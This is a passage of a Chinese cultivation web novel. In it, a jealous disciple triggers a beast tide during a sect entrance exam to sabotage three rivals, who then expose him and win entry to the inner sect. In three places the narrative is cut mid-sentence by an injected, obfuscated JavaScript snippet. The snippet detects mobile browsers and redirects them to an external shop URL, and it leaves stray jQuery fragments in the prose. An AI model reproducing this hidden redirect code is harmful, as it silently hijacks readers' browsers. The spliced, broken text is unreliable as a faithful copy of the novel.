“哈哈,我们才不会让你们如愿。”杜雨兰恶意地笑着,消失在了阵法中。 彭笑寒捂住口鼻,飞奔至重剑旁,气沉丹田,扬剑将白雾挥散。 她追上了四个师兄师姐,却始终没找到杜景辉,只能折身返回山洞。 另外两人已经用树枝搭起木架在烤鱼了。 可以说,三人谁都没担心对方会应付不来。 因此孟莘许子墨在见到彭笑寒一身狼狈回来时,都惊讶地瞪圆了双眼。 “不是……”孟莘吞了下口水,“你这是碰到了哪位神仙,能落得这个样子?” 彭笑寒坐下来,接过孟莘递来的烤鱼,郁郁地咬了一口,“杜雨兰杜景辉姐弟,还有些别的人,不小心被杜雨兰扔了个烟雾弹,让杜景辉逃了。” “哈哈哈哈哈哈哈!”许子墨仰天大笑,“没想到彭师傅也有这么一天!还是杜雨兰杜景辉哈哈哈哈哈哈。” 彭笑寒愤愤地踹了他一脚,“那是偷袭!偷袭!要不是偷袭我早都把他们解决了!” 这两人打闹着,孟莘却慢慢皱起眉头。 杜家姐弟虽然感情好,干得出这种掩护另一人逃走的事,但是……他们的脑子里真的有使用烟雾弹这种概念吗? * 南方的山丘。 一身斑驳痕迹的杜景辉疲惫地穿过几个师兄师姐,走到郑睿识身边,再也没有身为五星的骄纵之感,鼻子一皱,声音里隐隐有哭腔。 “郑师兄,阿姐他们全被彭笑寒解决了,只有我一个人逃了回来,她现在实力好强,我根本打不过她,最后阿姐只能把你——” 剩下的话还没说完,他就被郑睿识一把抱在了怀里,半拖半抱地往旁边拉,“好孩子,我知道你姐姐出局了你很难过,不过只要你通过内门考核,她一定会欣慰的。” 郑睿识心中暗骂这个蠢货,真是没脑子,什么话都往外说吗?没看到那边有千里镜吗? 他小心地走到了千里镜照不到的角落里,这才停下来松开手,嫌弃地擦了擦杜景辉蹭在他身上的白烟,不忘了问:“把缠星丝放在彭笑寒身上了?” 杜景辉点了点头,“我亲眼看到阿姐放她身上的,彭笑寒当时全被烟雾弹吸引住了,她应该没注意。” 郑睿识脸上禁不住浮现一丝笑意,从须弥戒中取出一块罗盘,罗盘上一粒金色亮点清晰可见,“他们现在在东北方向五里的位置。” 缠星丝是一段一寸长短的细丝,通过符法,可以和绑定的罗盘相连接,从而在罗盘上看到缠星丝所在的位置。 江芷兰、吴宜人、杜家姐弟都拿到了缠星丝,但最终只有杜雨兰成功把缠星丝放在了那三人身上,至于剩下两人……郑睿识神情一黯,这么久没回来,应当是被出局了。 “那我们现在就去包围他们!”杜景辉眼神火热,想立刻去彭笑寒那里报复回来。 “长点脑子,”郑睿识拉下脸,“今天已经折进去十六个人了,其中江师妹和吴师弟本来是一定能通过考核进内门的,他们都没能胜过那三人,你凭什么觉得我们剩下的人就能赢得了?” “那难道就这么算了吗!” “当然不,”郑睿识嘴角勾起一个极阴诡的笑容,“他们三人确实够强,同门轻易无法战胜他们,那魔兽呢?面对魔兽时,他们还能有这么强大吗?” 杜景辉耷拉下脸,“他们连锯齿鹰都杀得了,还有什么魔兽比锯齿鹰更强?” “当然有。” 郑睿识轻轻吐息,“比如一群魔兽。” * 内门考核第三日上午。 山顶,千里镜遗漏掉的地方。 “野兽是种很奇怪的东西,当你把它们放到一起,他们就会拼死斗争,自决出一个王出来,而后对那个王俯首称臣……真是又凶残、又服从的天性,不是吗?”郑睿识站在山顶,微微笑道。 杜景辉站在他身边,不知为什么,突然觉得,这句话说的也许不只是魔兽们。 山下,有三个小弟子正瑟瑟发抖地去偷兽王的幼崽。 这片考核区域的兽王是一只霜晶狮,这会儿约莫是去外面巡游了,巢穴里只有母狮和两头小幼崽。 他们悄然潜伏进入,两名弟子攻击母狮,另一名弟子抄起幼崽就往外狂奔。 母狮显然生产后不久,非常虚弱,很快就被两弟子杀死,鲜血流满巢穴。 霜晶狮的幼崽虽然没什么攻击性,但是抱着太沉了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033430|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那名弟子干脆捅死其中一只扔到路边,右手拎着最后一只幼崽,左手则掏出罗盘,确认方位。 他只有筑基一级的实力,战斗力也很弱,没有通过考核的希望,外加家境贫困,支撑不起来年修炼的用度,但只要他按郑睿识所说,把幼崽送到孟莘三人身边,郑睿识就会帮他完成考核。 他没能抵抗这种诱惑。 还差六里,到时候扔下幼崽就跑,万事大吉。 * 山上。 “郑师兄,兽王马上就要被引回巢穴了!”另一名弟子向他汇报道。 郑睿识轻轻颔首,看着罗盘上,那名弟子奔去的方向,“时间,正好合适。” 明明一切都在按计划进行,可杜景辉心里却隐隐有种不安,“郑师兄,昨天,罗盘显示他们的位置一直变来变去,会不会有什么意外?” “这有什么?”郑睿识厌烦地摆了摆手,“想通过考核就得杀够十头魔兽,他们到处找魔兽不是应该的吗?” 杜景辉只好噤了声。 而山下,兽王距离巢穴还有两里的时候,就敏锐地闻到了伴侣的血腥气。 “嗷——”仰天一声愤怒嘶吼,兽王向巢穴狂奔而去。 渗入大地的血液染红了兽王的双瞳,它走近母狮已经丧失生机的尸体,不敢置信似的地用头拱了又拱,终于怒吼出声。 “嗷嗷——” “嗷呜——嗷——” 震天吼声振动了整片森林,随着兽王的召唤,森林各处传来魔兽们呼应的吼叫,层层叠叠,像波浪一样四散开去。 如此之大的动静,整座沧溟山都要被惊动了。 尤其是兽修们的第七峰。 所有弟子都惊悚地望向后山方向,咸鱼躺尸的大弟子严谷岚更是一个鲤鱼打挺就从床上蹦起来,“卧槽,魔兽森林是暴动了还是咋的,这要是出点意外师傅不得扒了我的皮!” 她披上衣服就往外冲,“师弟师妹们!带上大家伙的法器快跟上啊!跟我去魔兽森林驭兽!” 丹墀上看着千里镜的众长老们更是惊骇。 里面考核的小弟子们可都是筑基期的啊,兽王的怒吼能唤起魔兽们的血性,战斗力比平时强个几倍,外加形成了兽潮,只怕小弟子们不知道轻重,贸然迎上去来不及传送就会被咬死! 而更可怕的是,现在考核的地方是用符法与其他地方隔开的,兽潮再扩散下去,要是惊动了其他区域那些通会、金丹、元婴、甚至玄明境的魔兽们…… 那可就出大事了! 薛长老毫不犹豫地下令,“我在这里看守,其他所有长老立刻去魔兽森林救人!” 众玄明境长老立刻领命,纷纷御剑前往魔兽森林,沿途还碰到了闻讯赶来的祝雁灵。 “雁灵你来得正好,内门考核时魔兽森林异动,里面还有几十个筑基期弟子,快随我们去镇压!” 祝雁灵神情瞬间严肃,“好!” 空中瞬间划过数道残影。 而在魔兽森林里,尚没有任何人意识到自己捅了多大的篓子。 那名抱着兽王幼崽的弟子看着罗盘上飞速接近的金点,脸上露出满足笑容。 “这下,我一定能进内门了!” 31. 第 31 章 姚开,一个再普通不过的外门弟子。蹉跎四年,好不容易晋升到筑基期,有了参加考核的资格,可到了考核第三天,却只拿到了两枚魔晶,眼看着是要通不过了。 “该死的,魔兽都到哪里去了?” 他听到了森林里传来的魔兽呼喊,不过他这时一点也不关心。大概是哪个不长眼的弟子招惹了巨型魔兽吧。 他只在乎他该怎么杀够剩下八头魔兽。 忽然,他听到急促的动静,一转头,就看到一只长着三个脑袋的鹿出现在视线尽头。 “三头鹿!老天终于垂怜我了吗!”姚开眼中火热。 三头鹿,除了长相以外基本没有什么攻击性,内门考核大家最钟爱的物种,遇到就等于白捡一个魔晶。 姚开被冲昏头脑,哪里还顾得上思考性情温和的三头鹿为什么奔跑得如此仓促,他拔出佩剑,迎面朝三头鹿劈砍了下去。 那本该破开三头鹿皮肤的长剑,却仿佛碰到了一面铜墙铁壁,被撞脱了手。 姚开呆住,僵着酸麻的手臂,一时没反应过来。 三头鹿终于垂下它烦躁的头颅,注视这个它原本懒得理会的人类,幽深竖瞳里闪过噬人的寒光。 下一瞬,它同时张开三张大口,朝姚开扑咬下来。 “救、救命!”姚开慌不择路地开始逃窜,手忙脚乱地去催动传送腰牌,脚下忽一绊,三头鹿湿热的长舌已经卷起了他的大腿,而传送腰牌被甩到了一丈外。 身体被倒悬着提起,姚开眼睁睁看着自己就要落进三头鹿的嘴巴里,已经恐惧到失语。 “唰——” 青色宝剑从天而降,一剑将三头鹿拦腰斩断。 姚开随着三头鹿的半边身子重重摔到了地上。 祝雁灵随后落在剑上,手指掐诀,轻点姚开的方向,传送阵法随即在姚开身下展开。 “大、大师姐,可我还没有考核完——”姚开还欲挣扎一番,但话还没说完就已经被传出了魔兽森林。 祝雁灵拿起传音玉牌,“东三里的人已救下,下一个在哪?” 玉牌里传出薛长老短促的声音,“往北四里。” 祝雁灵丝毫不敢耽误,一剑冲上云霄。 这样救人的场景在魔兽森林里处处出现,但是兽潮却还没有丝毫停歇,并且已经扩散到其他区域,全靠邵长老等人维持阵法,却并非长久之计。 薛长老终于忍不住大怒,“第七峰的人都跑哪去了?严谷岚人呢?她这个第七峰大弟子不想干了我这就去禀告方峰主!” “来来来来来啦!”一个慌张的女声闯进传音玉牌,严谷岚急忙说:“我们这就来镇压魔兽!犯不着打扰师傅云游啊!” 薛长老这时候可顾不上同她客气,冷哼道:“这里面可还有几十个弟子,要是出了什么意外,别怪我跟你算账。” 郑睿识等人行事都是避着千里镜做的,而几乎也没有人想到,一个筑基期弟子敢捅出这么大的事,故此,所有人都只以为是魔兽出了什么问题。 严谷岚也不例外,她立刻安排众弟子。 “宋师妹、于师弟,你们各率十名弟子去镇压其他区域的魔兽,务必不能让兽潮再扩大下去。其他人随我一起镇压这里!” 众人纷纷领命。 严谷岚坐在一只白鹤身上,飞抵魔兽森林上空,撩开衣袍盘腿坐下,从须弥戒中取出一把木琴,深吸一口气,随后拨动琴弦。 数名弟子紧随其后,奏响的旋律宛如一张无形的网,向下方的魔兽森林盖去。 第七峰核心功法,役灵经第四式,诸兽定神! 魔兽森林沉寂下来,严谷岚稍松了一口气,然而下一刻,兽王“嗷——”一声怒吼,兽潮暴动比之前更凶猛! “不行,严师姐,我们控制不住!” 严谷岚头皮发麻,她一个元婴境修士,带着这么多弟子一起奏响役灵经,竟然控制不住一个筑基期兽王引发的暴动? 这只兽王是成精了还是咋的? 她当即做出判断,“你们继续镇压,我直接去找那只兽王,它应该是出了什么问题。” * “郑师兄,现在的情况不太对吧?”杜景辉有点慌了。 森林里的动静越来越大,甚至隐约看到天上有人御剑飞来飞去,显然事情超出了他们最初的预料。 郑睿识脸色苍白,再也不复之前的自得。引动兽王竟然是一件如此声势浩大的事情吗? 他咬了咬牙,“恐怕内门考核要提前终止了,以防万一,我们最好马上把缺的那些魔晶全部拿到手。” 其他人都意识到紧迫性,严肃地点点头。 杜景辉哆嗦着问:“可事情闹这么大,会不会有人发现是我们做的?” 郑睿识阴狠一笑,不善的目光从所有人面上扫过,“千里镜又没有照出我们行事的经过,而所有知道这件事的人,也都参与其中,出卖我们等于出卖他自己,不是吗?” 众人听出他话里的鱼死网破之意,纷纷心生寒意,咬着牙点点头,“不错,敢说出去的人,我们绝不会放过他。” * 那名抱着兽王幼崽的弟子,却尚未反应过来事态的变化。 他只是满头大汗地盯着罗盘在原地打着圈,“怎么回事?人呢?明明是在这儿没错呀?缠星丝坏掉了吗?” 如果他能稍稍从焦虑中回过神,就会发现,他所站立的位置,已经被一片巨大的黑影覆盖,而他所找的人,就在距离他数丈高的地方。 整片考核区域里剩下的唯一一只锯齿鹰,被人用绳子绑住了口齿,无法发出声音。而它背上锋利的针羽,被一大片霜晶狮的晶皮覆盖。 三个少年少女正安然坐在晶皮上方,用绳子控制着锯齿鹰不能飞远,好奇地张望着下面那人焦头烂额的身影。 “他这是……在做什么?”彭笑寒看不懂了。 “我最想知道的是,他怀里抱的那个小霜晶狮,不会也算一块魔晶吧?那是不是太作弊了一点?”许子墨看上去很想把那头幼崽抢过来。 孟莘无语了,她指着奔涌而来的兽潮,“两位,我说你们的关注点是不是歪到有点没谱了,你们不觉得那才是我们该注意的吗?” 彭笑寒可太淡定了,“没事,我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044193|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在天上,锯齿鹰的飞行能力我们都亲身感受过了,没问题。” “是啊是啊,孟莘,你这个主意出得太棒了,谁还跟他们在地上纠缠啊,咱直接坐锯齿鹰上骚扰那些师兄师姐,一个也别想通过内门考核!”许子墨眼里跃动着兴奋的光。 昨天,就在彭笑寒带着一身狼狈白烟回来以后,孟莘左思右想,始终觉得有问题。 碍于她对修真界的了解太有限,她并没能发现缠星丝,不过她想到了一个绝对可以避开任何陷阱的方法。 “我们不如去抓一头锯齿鹰怎么样?” 初听到她这句话,彭笑寒和许子墨看她的眼神宛如看一个疯子。 “并不是不可能,”孟莘冷静地分析,“我们那晚尝试过了,我们是可以短暂把锯齿鹰困到地面上来的,而且霜晶狮的晶皮能抵挡针羽,只要够大。” 最终,彭笑寒和许子墨还是被这个疯狂的想法说服了。 他们三在魔兽森林折腾一整天,连三十枚魔晶都顺手凑够了,这才在今早找到并控制了锯齿鹰。 忙活完这么一通,他们才后知后觉地发现了魔兽森林的异动。 孟莘用手遮了遮太阳,眯眼看着地上趋近的兽潮和天上乱飞的修士们,丝毫没意识到自己是引发整个异动的关键,她纳闷地自言自语:“这也是考核内容吗?” “嗷——” 传到耳边的兽王怒吼让那名弟子终于意识到不对,他骤然转头望去,看到兽王带着数不尽的魔兽和尘土,从四面八方涌来。 而他后知后觉地意识到,抱着兽王幼崽的他,好像就是它们目标? 他头皮一紧,再也顾不上思考孟莘人在哪里,抓住考核腰牌就要传送出去。 然而他刚举起腰牌,就有什么东西闪电般地把他的腰牌带走。 他一愣,就看到一条蛇叼着他的腰牌,正在两丈远的位置幽幽看着他。 完了。 面对铺天盖地的魔兽,他双腿哆嗦着,连一点反抗的心都升不出来了。 “怎么办?要救他吗?”彭笑寒皱了下眉。 孟莘扔下绳子,无奈地叹了口气,“救呗,我又没想要他们的命。” 那弟子已经闭上眼睛,等待着死亡降临,却忽然感觉自己被什么东西捆住飞了起来。 他猛地睁开眼,恰好看到自己险之又险地从魔兽嘴中擦过,兽王不甘地跃起,但已经够不到他了。 他乍然生还,惊喜地抬头去看自己的救命恩人,却见到了三张他找了很久都没找到的脸。 “原来你们在这?”他脱口而出。 拽着他的绳子忽然一滞。 以霜晶狮为首的兽潮对他虎视眈眈,他怀里抱着一个霜晶狮幼崽,而他原本打算找到他们。 这目的再明显不过了。 许子墨轻笑一声,“原来我们没想要他们的命,但他们却想要我们的命啊。” 那名弟子悔不当初,正想着该如何补救才好。 却见孟莘眸色一冷,用不容置疑的语气道:“给你个机会,把整件事情原原本本给我说清楚,否则,我现在就送你下去!” 32. 第 32 章 随着那名弟子的讲述,孟莘三人的脸色越来越差。 彭笑寒在身上仔细翻找,终于找到了那段细细的金丝,她猛地把手攥紧,“我差点害惨大家了。” 孟莘摇了摇头,“是这群王八蛋的错。” 许子墨纠正了一下,“对同门用心这么歹毒,应该说是畜生才对。” 孟莘把刀悬在吊着那名弟子的绳子跟前,“喂,这位畜生师兄,你们一伙的其他人在哪,现在带我们过去,否则……” 那弟子悔不当初,为了一年的修炼用度差点把自己的命搭上,太不值当了。可他好说歹说,这三人油盐不进,他只好硬着头皮给他们指路。 “师弟师妹们,我真的是被郑睿识指使的,我没想害你们啊,你们能不能跟薛长老说说情,我——” 孟莘寒声道:“再掰扯这些有的没的我就割掉你的舌头!” 他瞬间噤声。 * 严谷岚乘着白鹤,循着兽王的气息赶来。 却见一头锯齿鹰被三名弟子如同驭马一样驱使,下面用绳子悬着一名弟子,兽王和浩浩荡荡的兽潮在地面上亦步亦趋,却丝毫也奈何不得他们。 她一时看得瞠目结舌,“我入门这么多年,还是第一次见到这么拉风的场面。” 严谷岚飞至锯齿鹰身侧,因为坐骑体型差距过大,宛如稚童扒拉着父母的小腿,没来由觉得自己金丹期的小白鹤竟然输了。 她和那三人面面相觑,有些伤感地问:“锯齿鹰骑起来好玩吗?” 孟莘三人看着莫名其妙跑来的白鹤师姐:“?” 怎么看不懂这位师姐是个什么意思呢? “啊呸,当我没问,”严谷岚摇了摇头,疯狂提醒自己正事要紧,“我叫严谷岚,是第七峰的大弟子,特来此镇压兽潮。看兽潮追着你们跑,或许你们知道什么内情?” 第七峰,主兽修,魔兽森林里的魔兽全靠他们培育? 孟莘脑子里转瞬掠过数个念头,再看严谷岚时,眼神炽热得宛如饿了四五天突然看到了一块新鲜腊肉。 “严师姐,那想必,魔兽森林突然出现暴乱,会有人追究你们第七峰的责任吧?” 新鲜腊肉严谷岚一个激灵,谨慎地咽了下口水,“……嗯,怎么了?” 孟莘笑意盈盈,“那如果我告诉你,责任不在第七峰,而是另有其人,你会怎么想?” 话音刚落,白鹤上的人影已经消失不见,唰一声落在了他们身边。 严谷岚殷勤地按住孟莘的肩膀,从须弥戒中掏出一张餐布和若干茶点,“来,师妹,渴不渴饿不饿?你们先休息一会。具体什么内情,等师姐把这只兽王收拾了,就来听你们说。” 下一瞬,严谷岚抱着木琴扬手一拨,诡谲旋律从她手下倾泻而出。 役灵经第五式,五行幻决! 地上的兽潮陷入了眩晕,严谷岚翻身坠下锯齿鹰,双手迅速结阵,落在兽王身上的瞬间,阵法以她手掌为中心延展勾缠兽王全身。 “唉,灵智诞生不易,睡一觉重新开悟吧。”她轻轻抚摸兽王头颅,兽王随即倒在了地上。 没有兽王的呼唤,兽潮很快被第七峰的音阵控制住,有平息的趋势。 孟莘三人被她这一串丝滑的动作看呆,“这就是内门师姐的修为吗!” 然而很快,他们就听到了严谷岚的玉牌传音。 “我把兽王放在这个位置了,待会派个人把它带回去。” “你问我?我在这发现了一点兽潮的线索,说不定能把这口锅甩出去……” “嘿嘿,是吧是吧,行了我先去调查了。” 等严谷岚再飞上天时,她发现孟莘三人看她的眼神十分幻灭。 她倒无所谓,形象是个什么东西?她又不是祝雁灵,全沧溟派都知道她严谷岚没有形象! 严谷岚热情地奔回锯齿鹰身上,“师弟师妹们,你们说的真凶是谁?” 孟莘摈除杂念,迅速把整件事说给了严谷岚,彭笑寒和许子墨在旁补充。 严谷岚听得脸色越来越差。 “什么狗东西!竟然敢在魔兽森林搞这种事?知道我们养好这片森林多不容易吗!知道养出一头兽王多不容易吗!” “走!孟师妹!我们杀去那个姓郑的那边,好好给他个教训!” * 却说另一边,郑睿识等人如获意外之喜。 原本以他们的实力,一天之内杀够魔兽相当艰巨,但是兽潮让魔兽们集中了起来,而第七峰的役灵经让魔兽们行动迟缓,方便斩杀。 几人眼看着晋升内门有望,挥向魔兽的剑越发有力了。 “哈哈哈,我的十颗魔晶已经够了!”郑睿识从魔兽体内掏出最后一颗魔晶,攥进手里仰天长笑。 “恭喜郑师兄!” “郑师兄可以进内门了!” 其他人的祝贺声真情实感,并不包含一丝妒忌。因为他们虽晚郑睿识几步,却也很快能杀够十头。 而今想来,那个孟莘不是死了就是传送出局,总之内门无望,而他郑睿识却终于得偿夙愿,可以进入内门。郑睿识几乎难以抑制自己的激动。 “师弟师妹们,你们先忙,那我就先走一步了。”郑睿识抬手去拿腰间的令牌。 “砰!”一道灵力裹挟石子撞来,瞬间撞碎了腰牌,郑睿识半腰也被震得发麻。 “谁?!!”他怒吼。 “你姑奶奶我!”一道隐含怒气的女声由远及近。 郑睿识猛地抬头,就见一只巨大的翼兽扇动双翼,从天际俯冲而来。 锯齿鹰! 他瞳孔骤然紧缩,双脚先于他的大脑拔腿就跑,却见一道青衣身影站在锯齿鹰身上。 他结结巴巴地惊叫出声:“严、严师姐?” “你原来认得我啊!”严谷岚冷笑出声,“认得我还敢在魔兽森林撒这种野,你好大的胆子!” 魔兽森林的事被发现了? 郑睿识杜景辉等人冷汗直流,面面相觑间下定决心,决不能把真相招出来! 郑睿识和其他人咬牙把自己取得的魔晶拿出来,“方才魔兽森林不知为何,所有魔兽都非常迟钝,我们确实投机取巧杀魔兽了,请严师姐降罚!” 严谷岚一卷手,将魔晶全数收回,冷笑道:“好一个避重就轻,我说的是你们刺激兽王引发暴动的事情!” 郑睿识梗着脖子,“师姐说什么,我不明白。” “呦,”上方忽然传来一声熟悉的女声,“郑师兄,你是不是当没有人证啊。” 郑睿识蓦然抬头,便见孟莘和彭笑寒许子墨从锯齿鹰背上站起来。 “咱们坐下来就那么矮吗?师兄都看不见我们的。”许子墨做作地抱怨了一下。 彭笑寒一把推出一个浑身绑着绳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14056537|147795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子的弟子,冷声道:“你最后的机会了,说吧。” 郑睿识如坠冰窟。 那名弟子破罐子破摔,“郑师兄指使我们杀掉兽王的配偶,盗走兽王的孩子,然后嫁祸给孟莘,这样就可以引起兽潮去攻击孟莘,她就一定会出局了!” 其他人僵在当场,也很快反应过来,既然事情已经败露,索性把所有事情都推到郑睿识头上,起码不是主犯。 “没错,都是郑师兄逼我去杀的母狮,他说这样更能激怒兽王!” “郑师兄说我们单打独斗斗不过孟莘他们,但是引发兽潮他们一定对付不了!” 郑睿识大怒,“你放屁!缠星丝不是你给我的吗?还有你,当初计划时不是你撺掇我一定要出个狠招吗?” 看着下面这群人狗咬狗,严谷岚悄悄跟孟莘他们眨了个眼,随即清了清嗓子,对着玉牌严肃道:“怎么样,薛长老,您看,这次魔兽森林好像是您手下这群弟子倒腾出来的啊……” 传音玉牌陷入一阵漫长的沉默。 薛长老为了这件事对严谷岚发了好大一通火,结果一转头,人家第七峰纯属无妄之灾,反而是他手下的弟子们心生歹念,对同门下此毒手,他实在……觉得脸有些疼。 “咳,严师侄,此时是我管教不严,平白迁怒于你,等这边的事一了结,我一定上第七峰给你登门致歉,至于那些弟子,烦请严师侄,你帮忙把他们传送回丹墀,我亲自,跟他们算账!” 薛长老语末已经带上了无法掩饰的怒意。 “好嘞,薛长老,我在第七峰等您哈!”严谷岚愉快地结束了传音,手指随意掐了个诀,先把郑睿识等人传走。 沧溟派的丹墀上有定阵之点,传送到那儿可太方便了,只希望他们摔下去的时候不要人叠人就好了,严谷岚幸灾乐祸地想道。 随即她转向孟莘三人,立刻换上了热情笑容,“三位,你们送了我一个大人情,我该怎么回报你们?十个魔晶凑够了没有,不够我这儿有,魔兽森林乱成这样没人会注意到的。” 她抖开刚从郑睿识等人那里收回的魔晶,朝他们挤了挤眼睛。 彭笑寒别开脸,努力忍住了自己看不过去的话,许子墨则给严谷岚比了个大拇指,“太够意思了师姐。” 孟莘无奈一笑,“我们魔晶够了的,师姐,不用什么回报,由你把这件事报告给薛长老,已经帮了我们大忙了。” 毕竟如果只是他们三个小弟子,很难保证长老们不会大事化小压下去,但是经由第七峰大弟子,这事可就压不住了。 严谷岚遗憾地把魔晶收了回去,“好吧,那等你们进内门,我们以后打交道的地方还多的是。” 她十分认真地给孟莘三人做好传送阵法,“我还要留在魔兽森林收尾,不能亲自送你们了,再见。对了,选我们第七峰也不错的哦。” 虽然三人都没有做兽修的打算,但无疑他们都很喜欢严谷岚。 “再见师姐!” “师姐内门见!” “到时候去找你玩啊师姐!” 三人踏入阵法,轻柔的风卷住他们的身体,再一睁眼,他们三人轻飘飘落在了丹墀之上。 整个丹墀此时一片寂静,所有人的目光都停留在他们身上。 薛长老深深地看着他们:“孟莘、彭笑寒、许子墨,内门考核提前结束,恭喜,本届进入内门的,只有你们三人。” 33. 第 33 章 三比九十七,结果最后赢的还真是那个“三”。 宣布这件事的薛长老都觉得心情复杂,更别提那些等着看热闹的外门弟子了。 谁又能想到,三天前一个区区筑基一级的少女放的狠话,竟然能成真呢。 孟莘站定,揉了揉因传送阵法而略感不适的脖子,瞥了青石台下的人群一眼,又好像根本没把他们放在眼里似的。 “既然如此,各位连我这个废物都赢不了的师兄师姐们,以后还是在外门好好做人吧。” 众人咬着牙,想反驳,但又没有了仗着资历和修为驳斥的资格,只能把咬碎的牙往肚子里咽。 薛长老生怕他们再生出事端,用符纸掐出个符人,想赶紧把他们三打包送走。 “你们通过考核的事情已经通知了掌门,现在由这只符人带你们去议事厅见诸位峰主,届时可以选择自己想拜的峰主,以后就在内门好好修行吧。” 小符人扑扇着飞到孟莘面前,正欲往山上飞去,却被孟莘一把拢进了掌心。 她抬头,淡淡一笑,“薛长老,还有事情没有厘清吧?” “他们在魔兽森林妄动杀念,依照沧溟派门规,该重罚。”彭笑寒冷冷地指向被绑住的郑睿识等人。 许子墨笑呵呵盯着薛长老,“我们差一点就被陷害卷进兽潮里去了,别说通过考核,恐怕性命都可能保不住,您说,这件事待会见掌门我们是不是该反映一下?” 薛长老:“……” 他很想吐槽一句,你们三连锯齿鹰都坐上了,能有个鬼的危险! 但他也明白,任谁被同门如此暗害,心里都不可能过得去。薛长老心中叹息,原本这种丑事,他暗中处置了最好,现在是不能不给他们一个明确的交代了。 “郑睿识,身为主谋,心思歹毒残害同门……”薛长老深吸一口气,眼中闪过一丝果断寒意,“废去修为,逐出沧溟;杜雨兰、杜景辉等从犯,去戒律堂领鞭刑一千,五年内,不得进入内门!” 丹墀上抽气声此起彼伏,显然没有人想到薛长老会出此重罚。 对修士来说,废去修为和失去手脚有何不同?而杜家姐弟五星天资,本来是板上钉钉能进内门的,这五年的禁令岂不是等于蹉跎掉最好的修道年华? “呜呜呜——”被施了噤声咒的郑睿识等人都瞪圆了双眼,拼命想为自己辩解,但是被捆得紧紧的,根本动弹不得。 薛长老目光严厉扫过台下诸人:“身为修士,不潜心修道,反而欺辱凡人、以阴狠毒辣之诡计陷害同门。不知从何时起,我沧溟派兴起了这种不正之风,诸位弟子需以今日为戒,明心见性,否则我薛和泰绝不容忍这等人辱没沧溟门风。” 丹墀众人齐齐噤声,纷纷低下头去。 “薛长老这是借我们的事杀鸡儆猴啊。”许子墨小声啧啧道。 孟莘对此并不抱太大希望,“他想正门风,恐怕恐吓于此无用,只能让人暂时收敛点罢了。” 薛长老狠狠用眼刀剐了他们一眼,他好好地在这里教育弟子,用得着他们浇凉水? “三位,掌门和各峰主的时间宝贵,就不用在这里再耽搁了吧?” 三人笑笑,行礼后便随着符人上了山。 * 沧溟派议事厅巍峨的青铜大门已近在眼前。 许子墨抚了下自己的胸口,“别说,马上要见掌门,我还真有点紧张,你们呢,想选的峰已经选好了吗?” “第一峰。”彭笑寒斩钉截铁地回答,从她入门第一天见到祝雁灵开始,这个答案就没变过。 “那你呢?”许子墨歪头看向孟莘,“真是稀奇,你看起来好像有点紧张?” “我紧张?没有吧。”孟莘这才感觉自己的呼吸确实有点急促,但跟见掌门没关系。 梁峰清…… 一个月过去了,她好像终于离见到梁峰清又近了一步。 与其说是紧张,不如说是兴奋才对。 “哦,那我懂了。”许子墨微妙地笑了一下,“是因为那位三峰主。” “啊?”彭笑寒慢半拍地反应过来,古怪地看向孟莘,之前发生那么多事情,她还以为这只是个误会,“难道他们说的是真的,三峰主真的是你爹?” “……不好说。”孟莘只能这么回答,毕竟她也不敢完全确定,“不过我们站在议事厅门口,聊这个话题不合适吧?” “倒也是。”许子墨正了正衣冠,“走吧,正事要紧。” 议事厅门口站着一名白衣女子,走近了他们才发现是祝雁灵。 祝雁灵刚从魔兽森林回来,特意等了他们三一会儿,“这次通过考核的只有你们三人?” “不错,”孟莘点点头,她没忽视祝雁灵看到她时微微皱起的眉,遂饶有兴致地看过去,“发现有我,不知道师姐是高兴还是不高兴?” 祝雁灵已经收回了视线,淡淡道:“一个月时间你能通过考核,我只是有些意外罢了,谈不上高兴与否。我正好要去禀报魔兽森林的事,和你们一起进去吧。” 三人跟随祝雁灵推门而入,只见肃穆大厅里燃着袅袅的凝神香,掌门俞宏光端坐在上首,大厅两边依序坐着八位峰主。 九为化神境及以上的修士在场,任何走近大厅的人,都很难不觉得压抑。 祝雁灵恭敬地行完礼,才说道:“师傅,诸位峰主,魔兽森林的暴动已经平息,是几个心术不正的外门弟子意图通过兽潮让这三人出局,外门薛长老已经将涉事弟子一一处罚。” “由他处置就是了。”俞宏光随意道。 显然,几个外门弟子闹出来的事,还不值得掌门和峰主们分心去管,反而是这几个新弟子让他有点兴趣。 “两个筑基七级,就能避过兽潮成功通过内门考核,倒是让我有点意外啊。” 孟莘嘴角轻轻一撇,看来她这个大活人已经被掌门直接忽略掉了。 